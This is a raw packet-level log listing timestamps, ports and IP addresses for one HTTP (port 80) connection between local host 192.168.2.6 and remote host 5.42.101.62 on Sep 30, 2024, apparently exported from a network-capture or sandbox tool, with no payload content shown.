Sep 30, 2024 13:59:27.783426046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783437967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783448935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783458948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783468962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783507109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783524990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783545017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783555031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783555984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783566952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783576965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783586979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783596992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783598900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783607006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783617020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783626080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783627033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783638000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783647060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.783648014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783655882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.783677101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.868943930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.868973017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.868984938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.868994951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869005919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869024038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869026899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869059086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869069099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869070053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869081020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869091034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869096041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869107008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869123936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869127989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869141102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869149923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869151115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869163036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869175911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869189024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869215965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869218111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869229078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869229078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869256020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869266987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869324923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869335890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869340897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869347095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869362116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869370937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869379997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869379997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869405031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869426966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869443893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869453907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869476080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869476080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869486094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869489908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869496107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869512081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869513988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869529009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869540930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869543076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869553089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869554043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869560003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869582891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869590044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869616985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869775057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869786024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869796038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869806051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869820118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869827032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869837999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869843960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869846106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869856119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869869947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869873047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869889021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869895935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869899035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869915009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869915962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869927883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869936943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869944096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869949102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869955063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869966030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869976044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869976044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869987011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.869987965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.869997025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870021105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870044947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870763063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870810986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870871067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870882988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870892048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870902061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870907068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870913029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870913029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870924950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870944023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870953083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870955944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870975018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870985031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.870986938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.870995998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871011019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871043921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871058941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871081114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871092081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871095896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871100903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871115923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871124029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871154070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871171951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871182919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871184111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871193886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871203899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871213913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871223927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871223927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871253014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871270895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871294975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871334076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871366024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871376038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871401072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871402979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871412039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871412992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871437073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871443987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871448040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871459007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871474028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871504068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871614933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871624947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871645927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871650934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871656895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871675968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871676922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871685982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871696949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871700048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871726036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871745110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871769905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871778965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871784925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871814966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871824026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871824026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871834040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871849060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871880054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871881962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871890068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871901989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871926069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871944904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.871972084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871982098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.871992111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872001886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872013092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872015953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872024059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872034073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872045994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872065067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872077942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872744083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872756958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872766972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872783899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872806072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872812986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872823954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872833014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872843027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872853041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872859955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872878075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872894049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872909069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872920990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872931957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872941017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872945070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872952938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872967958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.872988939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.872997046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.873002052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.873012066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.873040915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.873049021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960163116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960192919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960203886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960213900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960226059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960232019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960236073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960246086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960254908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960267067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960278988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960283041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960288048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960299015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960299969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960309982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960320950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960339069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960351944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960362911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960371971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960381985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960392952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960401058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960418940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960443020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960586071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960597992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960608959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960618973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960635900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960649967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960659981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960669994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960680008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960694075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960701942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960705042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960719109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960741997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960794926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960812092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960836887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960850000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960856915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960866928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960870981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960876942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960886955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960895061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960896969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960906982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960916996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960921049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960931063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960943937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960946083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960952044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960957050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960967064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960979939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.960980892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.960994005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961004019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961004019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961014986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961020947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961025953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961044073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961071014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961117029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961127996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961138010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961149931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961159945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961160898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961170912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961174965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961218119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961837053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961883068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961895943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961946011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.961972952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961986065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.961996078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962006092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962014914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962023973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962049961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962074041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962167025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962183952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962197065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962205887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962215900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962224960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962225914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962236881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962246895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962246895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962259054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.962261915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962281942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.962300062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.984383106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.989162922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253045082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253062963 CEST	80	49721	5.42.101.62	192.168.2.6
